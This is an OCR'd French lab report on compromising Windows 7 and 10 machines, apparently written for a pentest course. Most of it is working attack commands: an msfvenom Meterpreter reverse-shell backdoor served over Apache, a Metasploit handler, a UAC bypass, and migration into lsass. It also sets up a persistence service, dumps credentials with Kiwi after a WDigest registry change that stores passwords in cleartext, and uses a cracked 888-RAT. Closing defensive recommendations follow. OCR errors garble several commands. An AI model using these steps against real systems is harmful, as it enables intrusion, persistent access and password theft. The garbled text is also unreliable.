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Exploiter une machine vulnérable pour une prise de contrdle

Etape 1 : Création d’un backdoor (porte dérobée)

Un backdoor est un programme malveillant simulé qui permet d’établir une

connexion avec la machine cible.

- Utilisation de 1’outil Msfvenom pour genérer un payload (charge utile) adapté aux

architectures Windows x64 et x86.

- Commandes:

msfvenom -p windows/meterpreter/reverse _tcp LHOST=192.168.38.131
LPORT=4545 -f exe -0 payload.exe

- Ce fichier est ensuite placé dans un répertoire accessible sur le réseau local, par

exemple :

Cp root/home/nadembega/defi/defil.exe /var/www/html/ service apache 2
start

Cela permet d’accéder au fichier depuis n’importe quelle machine du méme réseau.



Etape 2 : Utilisation de ’outil Msfconsole pour la post-exploitation
Msfconsole est un outil de la suite Metasploit utilisé pour gérer les sessions

d’exploitation.
1. Lancer Msfconsole:

msfconsole

2. Configurer un Handler pour écouter la connexion entrante :  use multi/handler
set payload windows/meterpreter/reverse tcp set LHOST 192.168.38.131 set
LPORT 4545 options run (pour commencer [’écoute en attente de

récupération de sessions , grdace a ’ouverture du fichier backdoor par notre
cible)

3. Une fois la session ouverte, utiliser les commandes suivantes pour interagir avec

la machine cible :
- ps : Lister les processus en cours.

- migrate <PID> : Migrer vers un processus spécifique (par exemple,

explorer.exe).

- bg : Mettre la session en arriere-plan sans la fermer.



- sysinfo : Obtenir des informations sur le systeme.

- getuid : Voir 'utilisateur actuel.

- getprivs : Vérifier les privileges actuels.

Etape 3 : Elévation de priviléges

Si les privileges actuels sont insuffisants, il est possible de simuler une élévation de
priviléges :

1. Mettre la session en arriere-plan avec bg.

2. Utiliser le module UAC Bypass :

use uac use6 setsessionl set LPORT 4545 show targets set target
1 ou 0 (numéro correspondant au types d’architectures Windows de la

machine cibles) run

3. Si une erreur survient, ajuster le payload en fonction de I’architecture de la

machine cible :

set payload windows/x64/meterpreter/reverse_tcp



4. Vérifier les nouveaux priviléges avec getuid et getprivs.

5. Migrer vers un processus avec des privileges éleves :

Migrate (pid de | sassc .exe)

- Vérifier les sessions actives avec sessions pour confirmer que la session est bien en

mode administrateur.




Etape 4 : Résultats
- Utiliser la commande run vnc pour une prise de contréle de I’écran de la machine

cible.
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- Utiliser la commande shell pour une prise de contrdle de I’invite de commande de

la machine cible




- Utiliser la commande localtime pour des informations tels que I’heure et la date

de notre machine cible

- Utiliser la commande shutdown pour éteindre notre machine cible

- Utiliser la commande ps voir le trafic, les processus en exécution sur notre machine

cible



I1. PERSISTENCE SUR WINDOWS 7

La persistance désigne une technique utilisée par un attaquant pour maintenir un
acces durable a un systtme compromis, méme aprés un redémarrage, une

réinitialisation ou une correction de vulnérabilité.

Pourquoi la persistance est-elle utilisée ?

Lorsqu'un pirate réussit a exploiter une faille (via un malware, une backdoor, etc.), il

cherche souvent a :
- Rester discret (éviter d'étre détecté).

- Conserver son acces méme si la victime applique des correctifs ou redémarre la

machine.



De ce fait , il existent plusieurs méthodes pour établir une persistance mais dans notre

cas nous pratiquerons la persistance a 1’aide d’un Backdoor

1. Pourquoi la persistance est-elle utilisée ?
Lorsgu'un attaquant ou un pentester compromet un systeme, il cherche a :

- Rester discret : Eviter d'étre détecté par les antivirus, EDR (Endpoint Detection and

Response) ou les administrateurs.

- Maintenir I’acces malgré les corrections : Méme si la victime redémarre la machine

ou applique des correctifs, ’attaquant veut conserver son acces.

2. Récupération de la session avec plus de privileges (Privilege Escalation)
Avant d’établir la persistance, il faut souvent élever ses priviléges pour :
- Modifier des fichiers systeme.

- Créer un service Windows (nécessite souvent les droits Administrateur).

Commandes utilisées :
use multi/handler
search persistence

use 17 (exploit/windows/local/persistence_service)



EXITFUNC

LHOST

LPORT

¢ Explication :
- multi/handler : Module Metasploit pour recevoir les connexions reverse (backdoor).
- search persistence : Cherche les modules lies a la persistance.

-use 17 : Sélectionne I’exploit persistence Service pour créer un service malveillant.

3. Configuration du module de persistance

set REMOTE_EXE_NAME persistence.exe

set REMOTE_EXE_PATH /var/www/html/persistence.exe
set SESSION 2

run



¢ Explication :
- REMOTE_EXE_NAME : Nom du fichier malveillant qui sera exécuté.

- REMOTE EXE PATH : Emplacement ou I’exécutable sera stocké (peut tre un

partage web pour téléchargement).
- SESSION 2 : Identifiant de la session Meterpreter active.

- EXITFUNC thread : Permet de quitter proprement sans crasher le processus hote.

A\ Remarque :

- Si /var/www/html/ est utilisé, I’attaquant peut héberger le fichier sur un serveur

web (Apache, Nginx).




- La victime devra télécharger et exécuter persistence.exe (social engineering ou autre

exploit).

4. Migration vers un processus stable (explorer.exe)

migrate (numero ou PID correspondant a explorer.exe )

¢ Pourquoi ?

- Si le processus initial (par exemple, un PDF malveillant) se ferme, la session

Meterpreter serait perdue.
- explorer.exe est un processus systéme toujours actif — meilleure stabilité.

- Rend la détection plus difficile (le trafic malveillant semble venir d’un processus

[égitime).

5. Test apres redémarrage

Dans un nouveau terminal, on relance un handler :
use exploit/multi/handler

set payload windows/meterpreter/reverse_tcp

set LHOST 192.168.38.131

set LPORT 4545



run

€ Que se passe-t-il ?

1. La machine victime redémarre.

2. Le service malveillant se lance automatiquement (car configuré pour persister).

3. Une nouvelle connexion reverse TCP s’établit vers I’attaquant.

Vérification des priviléges :

getprivs



- Si tout fonctionne, 1’attaquant a toujours un acces avec les mémes droits qu’avant le

redémarrage.

A present nous allons lister quelques canaux cachés qui pourraient également

constitues des failles a exploiter.

6. Détection et Contre-Mesures

Pour les défenseurs, il faut surveiller :



«/ Nouveaux services Windows :
powershell

Get-Service | Where-Object { $_.Name -eq "persistence” }

<« Fichiers suspects dans %SystemRo0t%\System32 (ol persistence.exe pourrait étre

copié).



Exploitation de Windows 10 : Backdoor, Persistance et Elévation de Priviléges

1. Création du Backdoor (Reverse TCP)

Obijectif : Préparer un exécutable malveillant pour obtenir un acces distant.
Commandes utilisées (dans Kali Linux) :
bash

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST 192.168.38.131
LPORT 4545 -f exe -0 backdoor.exe

¢ Explications :
- msfvenom : Outil de géneération de payloads dans Metasploit.

- -p windows/x64/meterpreter/reverse_tcp : Payload pour une connexion reverse (la

victime se connecte a vous).
- LHOST: 192.168.38.131 (attaguant/pentester).
- LPORT 4545 : Port d’écoute.

- f exe -0 backdoor.exe : Génere un fichier .exe malveillant.

2. Récupération des Sessions (Multi/Handler)
Objectif : Ecouter la connexion entrante depuis la victime.

Commandes dans Metasploit :



use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.38.131

set LPORT 4545

run

¢ Explications :
- multi/handler : Module pour recevoir les connexions reverse.

- set payload ; Doit correspondre au payload génére

(windows/x64/meterpreter/reverse_tcp).

- run : Lance ’écoute.

(7 Si la victime exécute backdoor.exe, une session Meterpreter s’ouvre.

3. Passage en Administrateur (Elévation de Priviléges)



Objectif : Passer d’un utilisateur standard a SYSTEM/Administrateur.

Méthode 1 : Chargement de Kiwi (Dump des mots de passe)

load kiwi

help kiwi

Réactivation de WDigest (Pour capturer les creds en clair)
shell

reg add
HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v
UseLogonCredential /t REG_DWORD /d 1 /f

creds_all : pour recuperation de mot de passe

- shell © Ouvre un terminal Windows depuls Vieterpreter.




- reg add : Modifie la clé de registre pour forcer Windows a stocker les mots de passe

en clair.

- Redémarrage nécessaire pour que cela prenne effet.



Prise en main de 1’outil

Le 888-RAT (également connu sous les noms LodaRAT ou Gaza007) est un cheval
de Troie d'acces a distance (RAT) malveillant concu pour prendre le contrdle a
distance d'appareils infectés, voler des données et mener des activités d'espionnage.
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Mom Modifié le Type Taille
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Apres la création de la charge utile, grace a la méthode d’ingénierie sociale la cible a

exécuté le backdoor nous donnant ainsi acces a sa machine.

[1. Exploitation de I’outils

@) [ 888 RAT ]V 1.2.6 - Cracked by @ReverseEngineeringLab
Mode : SR

Online : 1 ¥ Connection

Disabled 19.. laptop O

888

(-"-f-_k),rﬂ

Nous avons récupéré la session nous pouvons a présent faire nos test ou passer en
mode administrateur pour avoir plus de privilege afin de ne pas étre limiter pour

I’exploitation des données de la cible.
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Passage en mode administrateur dans la machine cible pour plus de priviléges
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Controle totale de notre machine cible



OQutils utilises :

Mfsvenom
Msfconsole
Windows 7
Kali linux
Windows 10

888-RAT

Recommandations

1. Mettre a jour les systemes et logiciels
Les attaquants exploitent souvent des vulnérabilités connues dans les logiciels ou

systemes d’exploitation.

- Activer les mises a jour automatiques pour le systéme d’exploitation et les logiciels.

- Appliquer régulierement les correctifs de sécurité (patches).

2. Utiliser un antivirus et un pare-feu
Un antivirus peut détecter et bloquer les backdoors ou les fichiers malveillants

comme payload.exe. Un pare-feu empéche les connexions non autorisées.
- Installer un antivirus réputé et le maintenir a jour.

- Configurer un pare-feu pour bloquer les connexions entrantes et sortantes suspectes

(par exemple, sur le port 4545 dans notre cas).



3. Limiter les priviléges des utilisateurs
Les attaquants cherchent souvent a élever leurs privileges pour prendre le contréle

d’un systéme.

- Utiliser le principe du moindre privilége : ne donner aux utilisateurs que les acces

nécessaires a leur travail.

- Désactiver ou limiter [’utilisation des comptes administrateur.

4. Surveiller les activités reseau
Les attaques comme celle déecrite utilisent des connexions réseau pour établir une

communication entre 1’attaquant et la machine cible.

- Utiliser un systéme de détection d’intrusion (IDS) pour surveiller le trafic

réseau et détecter des activités suspectes.

- Analyser régulierement les logs réseau pour repérer des connexions

inhabituelles (par exemple, sur des ports non standard comme 4545).

5. Sensibiliser les utilisateurs
Les attaques réussissent souvent a cause d’une erreur humaine, comme 1’exécution

d’un fichier malveillant.

- Former les utilisateurs a reconnaitre les menaces (par exemple, ne pas ouvrir des

fichiers inconnus ou provenant de sources non fiables).

Conclusion
Ce rapport a permis d'analyser les vulnérabilités persistantes dans les
systemes Windows 7 et Windows 10, ainsi que les risques associés a
I'utilisation d'outils comme 888-RAT. Les tests menés ont démontré que :



Windows 7, bien que toujours utilisé dans certains environnements,
présente des failles critiques (ex : exploits non patchés, absence de mises
a jour).

Windows 10, plus sécurise, reste vulnérable aux attaques zero-day, aux
malwares avances et aux techniques d'ingénierie sociale.

888-RAT, bien qu’efficace pour des tests de pénétration, illustre la
menace des back Doors en situation réelle (vol de données, élévation de
priviléges, persistance).



